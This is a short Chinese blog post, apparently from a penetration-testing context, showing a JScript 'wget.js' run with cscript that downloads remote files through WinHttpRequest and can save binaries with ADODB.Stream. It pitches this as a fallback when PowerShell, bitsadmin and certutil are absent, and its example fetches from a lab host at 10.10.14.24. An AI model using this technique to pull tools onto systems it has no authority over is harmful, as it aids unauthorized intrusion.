Windows下 CScript 下载文件
2020-07-17 本文已影响0人
夙小叶
image.png
在一个没有 PowerShell、WMIC、bitsadmin、certutil.exe 的环境下,使用 CScript 下载远程文件:
wget.js
:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
/* To save a binary file use this code instead of previous line
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("out.bin");
*/
执行:
cscript /nologo wget.js http://10.10.14.24:8000/systeminfo